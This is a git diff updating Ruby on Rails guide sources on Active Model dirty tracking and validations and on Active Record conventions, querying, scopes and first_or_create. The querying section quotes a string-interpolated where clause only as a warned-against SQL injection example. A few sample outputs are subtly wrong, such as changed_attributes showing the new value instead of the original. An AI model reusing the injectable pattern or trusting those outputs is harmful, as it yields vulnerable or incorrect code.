last_name_will_change! + @last_name = value + end + + def save + @previously_changed = changes + end + +end +</ruby> + +h5. Querying object directly for its list of all changed attributes. + +<ruby> +person = Person.new +person.first_name = "First Name" + +person.first_name #=> "First Name" +person.first_name = "First Name Changed" + +person.changed? #=> true + +#returns an list of fields arry which all has been changed before saved. +person.changed #=> ["first_name"] + +#returns a hash of the fields that have changed with their original values. +person.changed_attributes #=> {"first_name" => "First Name Changed"} + +#returns a hash of changes, with the attribute names as the keys, and the values will be an array of the old and new value for that field. +person.changes #=> {"first_name" => ["First Name","First Name Changed"]} +</ruby> + +h5. Attribute based accessor methods + +Track whether the particular attribute has been changed or not. + +<ruby> +#attr_name_changed? +person.first_name #=> "First Name" + +#assign some other value to first_name attribute +person.first_name = "First Name 1" + +person.first_name_changed? #=> true +</ruby> + +Track what was the previous value of the attribute. + +<ruby> +#attr_name_was accessor +person.first_name_was #=> "First Name" +</ruby> + +Track both previous and current value of the changed attribute. Returns an array if changed else returns nil + +<ruby> +#attr_name_change +person.first_name_change #=> ["First Name", "First Name 1"] +person.last_name_change #=> nil +</ruby> + +h4. Validations + +Validations module adds the ability to class objects to validate them in Active Record style. + +<ruby> +class Person + include ActiveModel::Validations + + attr_accessor :name, :email, :token + + validates :name, :presence => true + validates_format_of :email, :with => /^([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})$/i + validates! :token, :presence => true + +end + +person = Person.new(:token => "2b1f325") +person.valid? #=> false +person.name = 'vishnu' +person.email = 'me' +person.valid? #=> false +person.email = 'me@vishnuatrai.com' +person.valid? #=> true +person.token = nil +person.valid? #=> raises ActiveModel::StrictValidationFailed +</ruby> diff --git a/railties/guides/source/active_record_basics.textile b/railties/guides/source/active_record_basics.textile index b7926f3a3b..66ad7b0255 100644 --- a/railties/guides/source/active_record_basics.textile +++ b/railties/guides/source/active_record_basics.textile @@ -38,47 +38,48 @@ When writing applications using other programming languages or frameworks, it ma h4. Naming Conventions -By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the camelCase form, while the table name must contain the words separated by underscores. Examples: +By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the CamelCase form, while the table name must contain the words separated by underscores. Examples: -* Database Table - Plural with underscores separating words (e.g., book_clubs) -* Model Class - Singular with the first letter of each word capitalized (e.g., BookClub) +* Database Table - Plural with underscores separating words (e.g., +book_clubs+) +* Model Class - Singular with the first letter of each word capitalized (e.g., +BookClub+) |_.Model / Class |_.Table / Schema | -|Post |posts| -|LineItem |line_items| -|Deer |deer| -|Mouse |mice| -|Person |people| +|+Post+ |+posts+| +|+LineItem+ |+line_items+| +|+Deer+ |+deer+| +|+Mouse+ |+mice+| +|+Person+ |+people+| h4. Schema Conventions Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns. -* *Foreign keys* - These fields should be named following the pattern table_id (e.g., item_id, order_id). These are the fields that Active Record will look for when you create associations between your models. -* *Primary keys* - By default, Active Record will use an integer column named "id" as the table's primary key. When using "Rails Migrations":migrations.html to create your tables, this column will be automatically created. +* *Foreign keys* - These fields should be named following the pattern +singularized_table_name_id+ (e.g., +item_id+, +order_id+). These are the fields that Active Record will look for when you create associations between your models. +* *Primary keys* - By default, Active Record will use an integer column named +id+ as the table's primary key. When using "Rails Migrations":migrations.html to create your tables, this column will be automatically created. There are also some optional column names that will create additional features to Active Record instances: -* *created_at* - Automatically gets set to the current date and time when the record is first created. -* *created_on* - Automatically gets set to the current date when the record is first created. -* *updated_at* - Automatically gets set to the current date and time whenever the record is updated. -* *updated_on* - Automatically gets set to the current date whenever the record is updated. -* *lock_version* - Adds "optimistic locking":http://api.rubyonrails.com/classes/ActiveRecord/Locking.html to a model. -* *type* - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.com/classes/ActiveRecord/Base.html -* *(table_name)_count* - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post. +* +created_at+ - Automatically gets set to the current date and time when the record is first created. +* +created_on+ - Automatically gets set to the current date when the record is first created. +* +updated_at+ - Automatically gets set to the current date and time whenever the record is updated. +* +updated_on+ - Automatically gets set to the current date whenever the record is updated. +* +lock_version+ - Adds "optimistic locking":http://api.rubyonrails.org/classes/ActiveRecord/Locking.html to a model. +* +type+ - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.org/classes/ActiveRecord/Base.html +* +(table_name)_count+ - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post. -NOTE: While these column names are optional they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. +NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, +type+ is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. h3. Creating Active Record Models -It's very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go: +It is very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go: <ruby> -class Product < ActiveRecord::Base; end +class Product < ActiveRecord::Base +end </ruby> -This will create a +Product+ model, mapped to a *products* table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. So, suppose that the *products* table was created using an SQL sentence like: +This will create a +Product+ model, mapped to a +products+ table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. Suppose that the +products+ table was created using an SQL sentence like: <sql> CREATE TABLE products ( @@ -126,21 +127,21 @@ class Product < ActiveRecord::Base end </ruby> -h3. Reading and Writing Data +h3. CRUD: Reading and Writing Data CRUD is an acronym for the four verbs we use to operate on data: *C*reate, *R*ead, *U*pdate and *D*elete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables. h4. Create -Active Record objects can be created from a hash, a block or have its attributes manually set after creation. The _new_ method will return a new object while _create_ will return the object and save it to the database. +Active Record objects can be created from a hash, a block or have their attributes manually set after creation. The +new+ method will return a new object while +create+ will return the object and save it to the database. -For example, given a model +User+ with attributes of +name+ and +occupation+, the _create_ method call will create and save a new record into the database: +For example, given a model +User+ with attributes of +name+ and +occupation+, the +create+ method call will create and save a new record into the database: <ruby> user = User.create(:name => "David", :occupation => "Code Artist") </ruby> -Using the _new_ method, an object can be created without being saved: +Using the +new+ method, an object can be created without being saved: <ruby> user = User.new @@ -148,9 +149,9 @@ Using the _new_ method, an object can be created without being saved: user.occupation = "Code Artist" </ruby> -A call to _user.save_ will commit the record to the database. +A call to +user.save+ will commit the record to the database. -Finally, passing a block to either create or new will return a new User object: +Finally, if a block is provided, both +create+ and +new+ will yield the new object to that block for initialization: <ruby> user = User.new do |u| @@ -164,7 +165,7 @@ h4. Read Active Record provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by Active Record. <ruby> - # return all records + # return array with all records users = User.all </ruby> @@ -204,7 +205,6 @@ Likewise, once retrieved an Active Record object can be destroyed which removes user.destroy </ruby> - h3. Validations Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the "Active Record Validations and Callbacks guide":active_record_validations_callbacks.html#validations-overview. diff --git a/railties/guides/source/active_record_querying.textile b/railties/guides/source/active_record_querying.textile index 579a323d57..2e1f89cb78 100644 --- a/railties/guides/source/active_record_querying.textile +++ b/railties/guides/source/active_record_querying.textile @@ -13,7 +13,7 @@ endprologue. WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in other versions of Rails. -If you're used to using raw SQL to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases. +If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases. Code examples throughout this guide will refer to one or more of the following models: @@ -57,6 +57,7 @@ The methods are: * +group+ * +order+ * +reorder+ +* +reverse_order+ * +limit+ * +offset+ * +joins+ @@ -68,28 +69,28 @@ The methods are: All of the above methods return an instance of <tt>ActiveRecord::Relation</tt>. -Primary operation of <tt>Model.find(options)</tt> can be summarized as: +The primary operation of <tt>Model.find(options)</tt> can be summarized as: * Convert the supplied options to an equivalent SQL query. * Fire the SQL query and retrieve the corresponding results from the database. * Instantiate the equivalent Ruby object of the appropriate model for every resulting row. -* Run +after_find+ callbacks if any. +* Run +after_find+ callbacks, if any. h4. Retrieving a Single Object -Active Record lets you retrieve a single object using five different ways. +Active Record provides five different ways of retrieving a single object. h5. Using a Primary Key -Using <tt>Model.find(primary_key)</tt>, you can retrieve the object corresponding to the supplied _primary key_ and matching the supplied options (if any). For example: +Using <tt>Model.find(primary_key)</tt>, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example: <ruby> # Find the client with primary key (id) 10. client = Client.find(10) -=> #<Client id: 10, first_name: => "Ryan"> +# => #<Client id: 10, first_name: "Ryan"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients WHERE (clients.id = 10) @@ -99,14 +100,14 @@ SELECT * FROM clients WHERE (clients.id = 10) h5. +first+ -<tt>Model.first</tt> finds the first record matched by the supplied options. For example: +<tt>Model.first</tt> finds the first record matched by the supplied options, if any. For example: <ruby> client = Client.first -=> #<Client id: 1, first_name: "Lifo"> +# => #<Client id: 1, first_name: "Lifo"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients LIMIT 1 @@ -120,10 +121,10 @@ h5. +last+ <ruby> client = Client.last -=> #<Client id: 221, first_name: "Russel"> +# => #<Client id: 221, first_name: "Russel"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 @@ -131,16 +132,16 @@ SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 <tt>Model.last</tt> returns +nil+ if no matching record is found. No exception will be raised. -h5. +first!+ +h5(#first_1). +first!+ <tt>Model.first!</tt> finds the first record. For example: <ruby> client = Client.first! -=> #<Client id: 1, first_name: "Lifo"> +# => #<Client id: 1, first_name: "Lifo"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients LIMIT 1 @@ -148,16 +149,16 @@ SELECT * FROM clients LIMIT 1 <tt>Model.first!</tt> raises +RecordNotFound+ if no matching record is found. -h5. +last!+ +h5(#last_1). +last!+ <tt>Model.last!</tt> finds the last record. For example: <ruby> client = Client.last! -=> #<Client id: 221, first_name: "Russel"> +# => #<Client id: 221, first_name: "Russel"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 @@ -169,15 +170,15 @@ h4. Retrieving Multiple Objects h5. Using Multiple Primary Keys -<tt>Model.find(array_of_primary_key)</tt> also accepts an array of _primary keys_. An array of all the matching records for the supplied _primary keys_ is returned. For example: +<tt>Model.find(array_of_primary_key)</tt> accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example: <ruby> # Find the clients with primary keys 1 and 10. -client = Client.find(1, 10) # Or even Client.find([1, 10]) -=> [#<Client id: 1, first_name: => "Lifo">, #<Client id: 10, first_name: => "Ryan">] +client = Client.find([1, 10]) # Or even Client.find(1, 10) +# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">] </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients WHERE (clients.id IN (1,10)) @@ -187,24 +188,26 @@ WARNING: <tt>Model.find(array_of_primary_key)</tt> will raise an +ActiveRecord:: h4. Retrieving Multiple Objects in Batches -Sometimes you need to iterate over a large set of records. For example to send a newsletter to all users, to export some data, etc. +We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data. -The following may seem very straight forward at first: +This may appear straightforward: <ruby> -# Very inefficient when users table has thousands of rows. +# This is very inefficient when the users table has thousands of rows. User.all.each do |user| NewsLetter.weekly_deliver(user) end </ruby> -But if the total number of rows in the table is very large, the above approach may vary from being under performant to just plain impossible. +But this approach becomes increasingly impractical as the table size increases, since +User.all.each+ instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available. -This is because +User.all.each+ makes Active Record fetch _the entire table_, build a model object per row, and keep the entire array in the memory. Sometimes that is just too many objects and demands too much memory. +Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, +find_each+, retrieves a batch of records and then yields _each_ record to the block individually as a model. The second method, +find_in_batches+, retrieves a batch of records and then yields _the entire batch_ to the block as an array of models. + +TIP: The +find_each+ and +find_in_batches+ methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option. h5. +find_each+ -To efficiently iterate over a large table, Active Record provides a batch finder method called +find_each+: +The +find_each+ method retrieves a batch of records and then yields _each_ record to the block individually as a model. In the following example, +find_each+ will retrieve 1000 records (the current default for both +find_each+ and +find_in_batches+) and then yield each record individually to the block as a model. This process is repeated until all of the records have been processed: <ruby> User.find_each do |user| @@ -212,11 +215,15 @@ User.find_each do |user| end </ruby> -*Configuring the batch size* +h6. Options for +find_each+ + +The +find_each+ method accepts most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_each+. -Behind the scenes +find_each+ fetches rows in batches of +1000+ and yields them one by one. The size of the underlying batches is configurable via the +:batch_size+ option. +Two additional options, +:batch_size+ and +:start+, are available as well. -To fetch +User+ records in batch size of +5000+: +*+:batch_size+* + +The +:batch_size+ option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000: <ruby> User.find_each(:batch_size => 5000) do |user| @@ -224,38 +231,42 @@ User.find_each(:batch_size => 5000) do |user| end </ruby> -*Starting batch find from a specific primary key* +*+:start+* -Records are fetched in ascending order on the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence if the lowest is not the one you need. This may be useful for example to be able to resume an interrupted batch process if it saves the last processed ID as a checkpoint. +By default, records are fetched in ascending order of the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint. -To send newsletters only to users with the primary key starting from +2000+: +For example, to send newsletters only to users with the primary key starting from 2000, and to retrieve them in batches of 5000: <ruby> -User.find_each(:batch_size => 5000, :start => 2000) do |user| +User.find_each(:start => 2000, :batch_size => 5000) do |user| NewsLetter.weekly_deliver(user) end </ruby> -*Additional options* +Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate <tt>:start</tt> option on each worker. -+find_each+ accepts the same options as the regular +find+ method. However, +:order+ and +:limit+ are needed internally and hence not allowed to be passed explicitly. +NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models. h5. +find_in_batches+ -You can also work by chunks instead of row by row using +find_in_batches+. This method is analogous to +find_each+, but it yields arrays of models instead: +The +find_in_batches+ method is similar to +find_each+, since both retrieve batches of records. The difference is that +find_in_batches+ yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices: <ruby> -# Works in chunks of 1000 invoices at a time. +# Give add_invoices an array of 1000 invoices at a time Invoice.find_in_batches(:include => :invoice_lines) do |invoices| export.add_invoices(invoices) end </ruby> -The above will yield the supplied block with +1000+ invoices every time. +NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models. + +h6. Options for +find_in_batches+ + +The +find_in_batches+ method accepts the same +:batch_size+ and +:start+ options as +find_each+, as well as most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_in_batches+. h3. Conditions -The +find+ method allows you to specify conditions to limit the records returned, representing the +WHERE+-part of the SQL statement. Conditions can either be specified as a string, array, or hash. +The +where+ method allows you to specify conditions to limit the records returned, representing the +WHERE+-part of the SQL statement. Conditions can either be specified as a string, array, or hash. h4. Pure String Conditions @@ -265,7 +276,7 @@ WARNING: Building your own conditions as pure strings can leave you vulnerable t h4. Array Conditions -Now what if that number could vary, say as an argument from somewhere? The find then becomes something like: +Now what if that number could vary, say as an argument from somewhere? The find would then take the form: <ruby> Client.where("orders_count = ?", params[:orders]) @@ -273,7 +284,7 @@ Client.where("orders_count = ?", params[:orders]) Active Record will go through the first element in the conditions value and any additional elements will replace the question marks +(?)+ in the first element. -Or if you want to specify two conditions, you can do it like: +If you want to specify multiple conditions: <ruby> Client.where("orders_count = ? AND locked = ?", params[:orders], false) @@ -281,19 +292,19 @@ Client.where("orders_count = ? AND locked = ?", params[:orders], false) In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter. -The reason for doing code like: +This code is highly preferable: <ruby> Client.where("orders_count = ?", params[:orders]) </ruby> -instead of: +to this code: <ruby> Client.where("orders_count = #{params[:orders]}") </ruby> -is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. +because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. TIP: For more information on the dangers of SQL injection, see the "Ruby on Rails Security Guide":security.html#sql-injection. @@ -465,7 +476,7 @@ To apply a +GROUP BY+ clause to the SQL fired by the finder, you can specify the For example, if you want to find a collection of the dates orders were created on: <ruby> -Order.group("date(created_at)").order("created_at") +Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)") </ruby> And this will give you a single +Order+ object for each date where there are orders in the database. @@ -473,7 +484,7 @@ And this will give you a single +Order+ object for each date where there are ord The SQL that would be executed would be something like this: <sql> -SELECT * FROM orders GROUP BY date(created_at) ORDER BY created_at +SELECT date(created_at) as ordered_date, sum(price) as total_price FROM orders GROUP BY date(created_at) </sql> h3. Having @@ -483,16 +494,16 @@ SQL uses the +HAVING+ clause to specify conditions on the +GROUP BY+ fields. You For example: <ruby> -Order.group("date(created_at)").having("created_at > ?", 1.month.ago) +Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)").having("sum(price) > ?", 100) </ruby> The SQL that would be executed would be something like this: <sql> -SELECT * FROM orders GROUP BY date(created_at) HAVING created_at > '2009-01-15' +SELECT date(created_at) as ordered_date, sum(price) as total_price FROM orders GROUP BY date(created_at) HAVING sum(price) > 100 </sql> -This will return single order objects for each day, but only for the last month. +This will return single order objects for each day, but only those that are ordered more than $100 in a day. h3. Overriding Conditions @@ -550,6 +561,34 @@ In case the +reorder+ clause is not used, the SQL executed would be: SELECT * FROM posts WHERE id = 10 ORDER BY posted_at DESC </sql> +h4. +reverse_order+ + +The +reverse_order+ method reverses the ordering clause if specified. + +<ruby> +Client.where("orders_count > 10").order(:name).reverse_order +</ruby> + +The SQL that would be executed: + +<sql> +SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC +</sql> + +If no ordering clause is specified in the query, the +reverse_order+ orders by the primary key in reverse order. + +<ruby> +Client.where("orders_count > 10").reverse_order +</ruby> + +The SQL that would be executed: + +<sql> +SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC +</sql> + +This method accepts *no* arguments. + h3. Readonly Objects Active Record provides +readonly+ method on a relation to explicitly disallow modification or deletion of any of the returned object. Any attempt to alter or destroy a readonly record will not succeed, raising an +ActiveRecord::ReadOnlyRecord+ exception. @@ -587,15 +626,13 @@ c1.first_name = "Michael" c1.save c2.name = "should fail" -c2.save # Raises a ActiveRecord::StaleObjectError +c2.save # Raises an ActiveRecord::StaleObjectError </ruby> You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict. NOTE: You must ensure that your database schema defaults the +lock_version+ column to +0+. -<br /> - This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>. To override the name of the +lock_version+ column, +ActiveRecord::Base+ provides a class method called +set_locking_column+: @@ -675,7 +712,7 @@ class Post < ActiveRecord::Base has_many :tags end -class Comments < ActiveRecord::Base +class Comment < ActiveRecord::Base belongs_to :post has_one :guest end @@ -683,6 +720,10 @@ end class Guest < ActiveRecord::Base belongs_to :comment end + +class Tag < ActiveRecord::Base + belongs_to :post +end </ruby> Now all of the following will produce the expected join queries using +INNER JOIN+: @@ -700,6 +741,8 @@ SELECT categories.* FROM categories INNER JOIN posts ON posts.category_id = categories.id </sql> +Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use Category.joins(:post).select("distinct(categories.id)"). + h5. Joining Multiple Associations <ruby> @@ -714,18 +757,40 @@ SELECT posts.* FROM posts INNER JOIN comments ON comments.post_id = posts.id </sql> +Or, in English: "return all posts that have a category and at least one comment". Note again that posts with multiple comments will show up multiple times. + h5. Joining Nested Associations (Single Level) <ruby> Post.joins(:comments => :guest) </ruby> +This produces: + +<sql> +SELECT posts.* FROM posts + INNER JOIN comments ON comments.post_id = posts.id + INNER JOIN guests ON guests.comment_id = comments.id +</sql> + +Or, in English: "return all posts that have a comment made by a guest." + h5. Joining Nested Associations (Multiple Level) <ruby> Category.joins(:posts => [{:comments => :guest}, :tags]) </ruby> +This produces: + +<sql> +SELECT categories.* FROM categories + INNER JOIN posts ON posts.category_id = categories.id + INNER JOIN comments ON comments.post_id = posts.id + INNER JOIN guests ON guests.comment_id = comments.id + INNER JOIN tags ON tags.post_id = posts.id +</sql> + h4. Specifying Conditions on the Joined Tables You can specify conditions on the joined tables using the regular "Array":#array-conditions and "String":#pure-string-conditions conditions. "Hash conditions":#hash-conditions provides a special syntax for specifying conditions for the joined tables: @@ -856,14 +921,14 @@ end To call this +published+ scope we can call it on either the class: <ruby> -Post.published => [published posts] +Post.published # => [published posts] </ruby> Or on an association consisting of +Post+ objects: <ruby> category = Category.first -category.posts.published => [published posts belonging to this category] +category.posts.published # => [published posts belonging to this category] </ruby> h4. Working with times @@ -910,6 +975,47 @@ Using a class method is the preferred way to accept arguments for scopes. These category.posts.1_week_before(time) </ruby> +h4. Working with scopes + +Where a relational object is required, the +scoped+ method may come in handy. This will return an +ActiveRecord::Relation+ object which can have further scoping applied to it afterwards. A place where this may come in handy is on associations + +<ruby> +client = Client.find_by_first_name("Ryan") +orders = client.orders.scoped +</ruby> + +With this new +orders+ object, we are able to ascertain that this object can have more scopes applied to it. For instance, if we wanted to return orders only in the last 30 days at a later point. + +<ruby> +orders.where("created_at > ?", 30.days.ago) +</ruby> + +h4. Applying a default scope + +If we wish for a scope to be applied across all queries to the model we can use the +default_scope+ method within the model itself. + +<ruby> +class Client < ActiveRecord::Base + default_scope where("removed_at IS NULL") +end +</ruby> + +When queries are executed on this model, the SQL query will now look something like this: + +<sql> +SELECT * FROM clients WHERE removed_at IS NULL +</sql> + +h4. Removing all scoping + +If we wish to remove scoping for any reason we can use the +unscoped+ method. This is especially useful if a +default_scope+ is specified in the model and should not be applied for this particular query. + +<ruby> +Client.unscoped.all +</ruby> + +This method removes all scoping and will do a normal query on the table. + h3. Dynamic Finders For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +first_name+ on your +Client+ model for example, you get +find_by_first_name+ and +find_all_by_first_name+ for free from Active Record. If you have a +locked+ field on the +Client+ model, you also get +find_by_locked+ and +find_all_by_locked+ methods. @@ -918,26 +1024,90 @@ You can also use +find_last_by_*+ methods which will find the last record matchi You can specify an exclamation point (<tt>!</tt>) on the end of the dynamic finders to get them to raise an +ActiveRecord::RecordNotFound+ error if they do not return any records, like +Client.find_by_name!("Ryan")+ -If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields. For example, +Client.find_by_first_name_and_locked("Ryan", true)+. +If you want to find both by name and locked, you can chain these finders together by simply typing "+and+" between the fields. For example, +Client.find_by_first_name_and_locked("Ryan", true)+. + +WARNING: Up to and including Rails 3.1, when the number of arguments passed to a dynamic finder method is lesser than the number of fields, say <tt>Client.find_by_name_and_locked("Ryan")</tt>, the behavior is to pass +nil+ as the missing argument. This is *unintentional* and this behavior will be changed in Rails 3.2 to throw an +ArgumentError+. + +h3. Find or build a new object + +It's common that you need to find a record or create it if it doesn't exist. You can do that with the +first_or_create+ and +first_or_create!+ methods. +h4. +first_or_create+ -There's another set of dynamic finders that let you find or create/initialize objects if they aren't found. These work in a similar fashion to the other finders and can be used like +find_or_create_by_first_name(params[:first_name])+. Using this will first perform a find and then create if the find returns +nil+. The SQL looks like this for +Client.find_or_create_by_first_name("Ryan")+: +The +first_or_create+ method checks whether +first+ returns +nil+ or not. If it does return +nil+, then +create+ is called. This is very powerful when coupled with the +where+ method. Let's see an example. + +Suppose you want to find a client named 'Andy', and if there's none, create one and additionally set his +locked+ attribute to false. You can do so by running: + +<ruby> +Client.where(:first_name => 'Andy').first_or_create(:locked => false) +# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27"> +</ruby> + +The SQL generated by this method looks like this: <sql> -SELECT * FROM clients WHERE (clients.first_name = 'Ryan') LIMIT 1 +SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1 BEGIN -INSERT INTO clients (first_name, updated_at, created_at, orders_count, locked) - VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', 0, '0') +INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 0, NULL, '2011-08-30 05:22:57') COMMIT </sql> -+find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will act similarly to calling +new+ with the arguments you passed in. For example: ++first_or_create+ returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned. + +The new record might not be saved to the database; that depends on whether validations passed or not (just like +create+). + +It's also worth noting that +first_or_create+ takes into account the arguments of the +where+ method. In the example above we didn't explicitly pass a +:first_name => 'Andy'+ argument to +first_or_create+. However, that was used when creating the new record because it was already passed before to the +where+ method. + +You can do the same with the +find_or_create_by+ method: + +<ruby> +Client.find_or_create_by_first_name(:first_name => "Andy", :locked => false) +</ruby> + +This method still works, but it's encouraged to use +first_or_create+ because it's more explicit on which arguments are used to _find_ the record and which are used to _create_, resulting in less confusion overall. + +h4. +first_or_create!+ + +You can also use +first_or_create!+ to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add <ruby> -client = Client.find_or_initialize_by_first_name('Ryan') +validates :orders_count, :presence => true </ruby> -will either assign an existing client object with the name "Ryan" to the client local variable, or initialize a new object similar to calling +Client.new(:first_name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it. +to your +Client+ model. If you try to create a new +Client+ without passing an +orders_count+, the record will be invalid and an exception will be raised: + +<ruby> +Client.where(:first_name => 'Andy').first_or_create!(:locked => false) +# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank +</ruby> + +h4. +first_or_initialize+ + +The +first_or_initialize+ method will work just like +first_or_create+ but it will not call +create+ but +new+. This means that a new model instance will be created in memory but won't be saved to the database. Continuing with the +first_or_create+ example, we now want the client named 'Nick': + +<ruby> +nick = Client.where(:first_name => 'Nick').first_or_initialize(:locked => false) +# => <Client id: nil, first_name: "Nick", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27"> + +nick.persisted? +# => false + +nick.new_record? +# => true +</ruby> + +Because the object is not yet stored in the database, the SQL generated looks like this: + +<sql> +SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1 +</sql> + +When you want to save it to the database, just call +save+: + +<ruby> +nick.save +# => true +</ruby> h3. Finding by SQL @@ -1088,11 +1258,3 @@ Client.sum("orders_count") </ruby> For options, please see the parent section, "Calculations":#calculations. - -h3. Changelog - -* December 23 2010: Add documentation for the +scope+ method. "Ryan Bigg":http://ryanbigg.com -* April 7, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* February 3, 2010: Update to Rails 3 by "James Miller":credits.html#bensie -* February 7, 2009: Second version by "Pratik":credits.html#lifo -* December 29 2008: Initial version by "Ryan Bigg":credits.html#radar diff --git a/railties/guides/source/active_record_validations_callbacks.textile b/railties/guides/source/active_record_validations_callbacks.textile index 19bd4ad0f1..665e7f9ccc 100644 --- a/railties/guides/source/active_record_validations_callbacks.textile +++ b/railties/guides/source/active_record_validations_callbacks.textile @@ -28,7 +28,7 @@ h4. Why Use Validations? Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address. -There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations. +There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations: * Database constraints and/or stored procedures make the validation mechanisms 